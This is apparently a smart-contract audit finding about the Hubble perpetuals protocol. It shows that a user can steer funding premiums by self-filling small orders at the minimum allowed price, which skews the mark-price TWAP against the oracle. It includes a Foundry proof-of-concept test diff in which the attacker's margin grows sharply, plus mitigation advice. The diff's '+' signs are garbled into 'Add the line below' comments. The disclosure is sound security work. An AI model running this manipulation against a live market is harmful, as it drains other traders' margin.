Malicious user can control premium emissions to steal margin from other traders
A malicious user can force premiums to be applied in a positive direction for their positions. They can effectively steal margin from other traders that have filled the other side of their positions.\\nThis vulnerability stems from how the premiums are calculated when `settleFunding` is called in AMM.sol:\\n```\\nint256 premium = getMarkPriceTwap() - underlyingPrice;\\n```\\n\\nEffectively, the premium for a position is calculated based on the difference between the perpetual maker TWAP and the oracle TWAP. Under the hood, `getMarkPriceTwap` calls `_calcTwap`, which calculates the TWAP price from the last hour to the current block timestamp:\\n```\\n        uint256 currentPeriodStart = (_blockTimestamp() / spotPriceTwapInterval) * spotPriceTwapInterval;\\n        uint256 lastPeriodStart = currentPeriodStart - spotPriceTwapInterval;\\n\\n        // If there is no trade in the last period, return the last trade price\\n        if (markPriceTwapData.lastTimestamp <= lastPeriodStart) {\\n            return markPriceTwapData.lastPrice;\\n        }\\n\\n        /**\\n        * check if there is any trade after currentPeriodStart\\n        * since this function will not be called before the nextFundingTime,\\n        * we can use the lastPeriodAccumulator to calculate the twap if there is a trade after currentPeriodStart\\n        */\\n        if (markPriceTwapData.lastTimestamp >= currentPeriodStart) {\\n            // use the lastPeriodAccumulator to calculate the twap\\n            twap = markPriceTwapData.lastPeriodAccumulator / spotPriceTwapInterval;\\n        } else {\\n            // use the accumulator to calculate the twap\\n            uint256 currentAccumulator = markPriceTwapData.accumulator + (currentPeriodStart - markPriceTwapData.lastTimestamp) * markPriceTwapData.lastPrice;\\n            twap = currentAccumulator / spotPriceTwapInterval;\\n        }\\n```\\n\\nThis method works closely in conjunction with `_updateTWAP` which is called every time a new position is opened based on the fill price. I'll talk more about his in the "Recommendation" section, but the core issue is that too much weight is placed on the last price that was filled, along with the fact the user can open uncapped positions. As can be seen from the `_calcTwap` method above, if there has not been a recently opened position, then the TWAP is determined as the last filled price. And naturally, a time weighted price isn't weighted by the size of a fill as well, so the size of the last fill has no impact.\\nAs a result of this, a malicious user can place orders (which should then be executed by the validators) at a price that maximises the difference between the market TWAP and the oracle TWAP in order to maximise the premiums generated in the market. If the malicious user opens up a large enough position, the premiums generated exceed the taker/maker fees for opening positions. And since the same user can place orders for both sides of the market, they do not need to increase their margin requirement over time in order to meet the minimum margin requirements. Effectively the user is able to generate free revenue assuming the price of the underlying asset doesn't significantly deviate in the opposite direction of the large position held by the user.\\nBelow is a diff to the existing test suite with a test case that shows how a malicious user could control premiums to make a profit. It can be run with forge test -vvv --match-path test/foundry/OrderBook.t.sol:\\n```\\ndiff --git a/hubble-protocol/test/foundry/OrderBook.t.sol b/hubble-protocol/test/foundry/OrderBook.t.sol\\nindex b4dafdf..f5d36b2 100644\\n--- a/hubble-protocol/test/foundry/OrderBook.t.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/hubble-protocol/test/foundry/OrderBook.t.sol\\n@@ -228,6 // Add the line below\\n228,60 @@ contract OrderBookTests is Utils {\\n         assertPositions(bob, -size, quote, 0, quote * 1e18 / stdMath.abs(size));\\n     }\\n \\n// Add the line below\\n    function testUserCanControlEmissions() public {\\n// Add the line below\\n        uint256 price = 1e6;\\n// Add the line below\\n        oracle.setUnderlyingPrice(address(wavax), int(uint(price)));\\n// Add the line below\\n\\n// Add the line below\\n        // Calculate how much margin required for 100x MIN_SIZE\\n// Add the line below\\n        uint256 marginRequired = orderBook.getRequiredMargin(100 * MIN_SIZE, price) * 1e18 / uint(defaultWethPrice) // Add the line below\\n 1e10; // required weth margin in 1e18, add 1e10 for any precision loss\\n// Add the line below\\n        \\n// Add the line below\\n        // Let's say Alice is our malicious user, and Bob is a normal user\\n// Add the line below\\n        addMargin(alice, marginRequired, 1, address(weth));\\n// Add the line below\\n        addMargin(bob, marginRequired, 1, address(weth));\\n// Add the line below\\n\\n// Add the line below\\n        // Alice places a large legitimate long order that is matched with a short order from Bob\\n// Add the line below\\n        placeAndExecuteOrder(0, aliceKey, bobKey, MIN_SIZE * 90, price, true, false, MIN_SIZE * 90, false);\\n// Add the line below\\n\\n// Add the line below\\n        // Alice's free margin is now pretty low\\n// Add the line below\\n        int256 availabeMargin = marginAccount.getAvailableMargin(alice);\\n// Add the line below\\n        assertApproxEqRel(availabeMargin, 200410, 0.1e18); // Assert within 10%\\n// Add the line below\\n\\n// Add the line below\\n        // Calculate what's the least we could fill an order for given the oracle price\\n// Add the line below\\n        uint256 spreadLimit = amm.maxOracleSpreadRatio();\\n// Add the line below\\n        uint minPrice = price * (1e6 - spreadLimit) / 1e6;\\n// Add the line below\\n\\n// Add the line below\\n        // Alice can fill both sides of an order at the minimum fill price calculated above, with the minimum size\\n// Add the line below\\n        // Alice would place such orders (and hopefully have them executed) just after anyone else makes an order in a period (1 hour)\\n// Add the line below\\n        // The goal for Alice is to keep the perpetual TWAP as low as possible vs the oracle TWAP (since she holds a large long position)\\n// Add the line below\\n        // In quiet market conditions Alice just has to make sure she's the last person to fill\\n// Add the line below\\n        // In busy market conditions Alice would fill an order immediately after anyone else fills an order\\n// Add the line below\\n        // In this test Alice fills an order every 2 periods, but in reality, if nobody was trading then Alice wouldn't have to do anything provided she was the last filler\\n// Add the line below\\n        for (uint i = 0; i < 100; i// Add the line below\\n// Add the line below\\n) {\\n// Add the line below\\n            uint256 currentPeriodStart = (block.timestamp / 1 hours) * 1 hours;\\n// Add the line below\\n\\n// Add the line below\\n            // Warp to before the end of the period\\n// Add the line below\\n            vm.warp(currentPeriodStart // Add the line below\\n 3590);\\n// Add the line below\\n            \\n// Add the line below\\n            // Place and execute both sides of an order as Alice\\n// Add the line below\\n            // Alice can do this because once both sides of the order are executed, the effect to her free margin is 0\\n// Add the line below\\n            // As mentioned above, Alice would place such orders every time after another order is executed\\n// Add the line below\\n            placeAndExecuteOrder(0, aliceKey, aliceKey, MIN_SIZE, minPrice, true, false, MIN_SIZE, false);\\n// Add the line below\\n            \\n// Add the line below\\n            // Warp to the start of the next period\\n// Add the line below\\n            vm.warp(currentPeriodStart // Add the line below\\n (3600 * 2) // Add the line below\\n 10);\\n// Add the line below\\n            \\n// Add the line below\\n            // Funding is settled. This calculates the premium emissions by comparing the perpetual twap with the oracle twap\\n// Add the line below\\n            orderBook.settleFunding();\\n// Add the line below\\n        }\\n// Add the line below\\n\\n// Add the line below\\n        // Alice's margin is now significantly higher (after just 200 hours) because she's been pushing the premiums in her direction\\n// Add the line below\\n        availabeMargin = marginAccount.getAvailableMargin(alice);\\n// Add the line below\\n        assertApproxEqRel(availabeMargin, 716442910, 0.1e18); // Assert within 10%\\n// Add the line below\\n\\n// Add the line below\\n    }\\n// Add the line below\\n\\n     function testLiquidateAndExecuteOrder(uint64 price, uint120 size_) public {\\n         vm.assume(price > 10 && size_ != 0);\\n         oracle.setUnderlyingPrice(address(wavax), int(uint(price)));\\n```\\n
I originally thought the best way to mitigate this kind of attack is to scale the TWAP calculation based on the filled amount vs the total fill amount of the whole market. However the downside with this approach is that the fill amount will perpetually increase (given it's a perpetual market after all!) and so the market TWAP deviations from the oracle TWAP would decrease and so the premium emissions would also decrease over time. This could be argued as a feature in that early users receive a larger premium than later users.\\nUpon further thought I think the best way to prevent this kind of attack is simply to disincentivise the malicious user from doing so; by making this a net-loss situation. This can be done with a combination of the following:\\nIncreasing minimum order size\\nIncreasing trader/maker fees\\nIntroducing another fixed fee per order (rather than only variable rate fees)\\nCapping the maximum position size (both long and short)\\nReducing the maximum price deviation of fill prices from oracle price\\nIncreasing the minimum margin requirements\\nThis will vary per perpetual market, but the key thing that needs to be accomplished is that the cost to a user to place orders to control the market TWAP is greater than the premium that can be obtained from their position. This will also require some estimates as to how frequently users are going to be placing orders. If orders are relatively infrequent then increasing the TWAP calculation from 1 hour will also help with this.\\nIt is also worth considering whether the following lines in `_calcTwap` are overly weighted towards the last fill price:\\n```\\n       // If there is no trade in the last period, return the last trade price\\n        if (markPriceTwapData.lastTimestamp <= lastPeriodStart) {\\n            return markPriceTwapData.lastPrice;\\n        }\\n```\\n\\nYou could make the argument that if no trades have occurred in a significant period of time then the market TWAP should revert back to the oracle TWAP and premium emissions should halt. This could either be after one empty period, or X number of empty periods to be defined by Hubble.\\nFinally, having a trader able to hold both sides of the same perpetual in the same order makes this attack easier to implement, so it might be worth adding an extra check to prevent this. However it's worth noting the same could be achieved with 2 accounts assuming they alternated the long/short positions between them to avoid excessive margin requirements. So I'm not sure this is strictly necessary.
A user can effectively steal funds from other traders that are filling the other side of their positions. The larger the position the malicious user is able to fill and the longer the period, the more funds can be credited to the malicious user's margin account.
```\\nint256 premium = getMarkPriceTwap() - underlyingPrice;\\n```\\n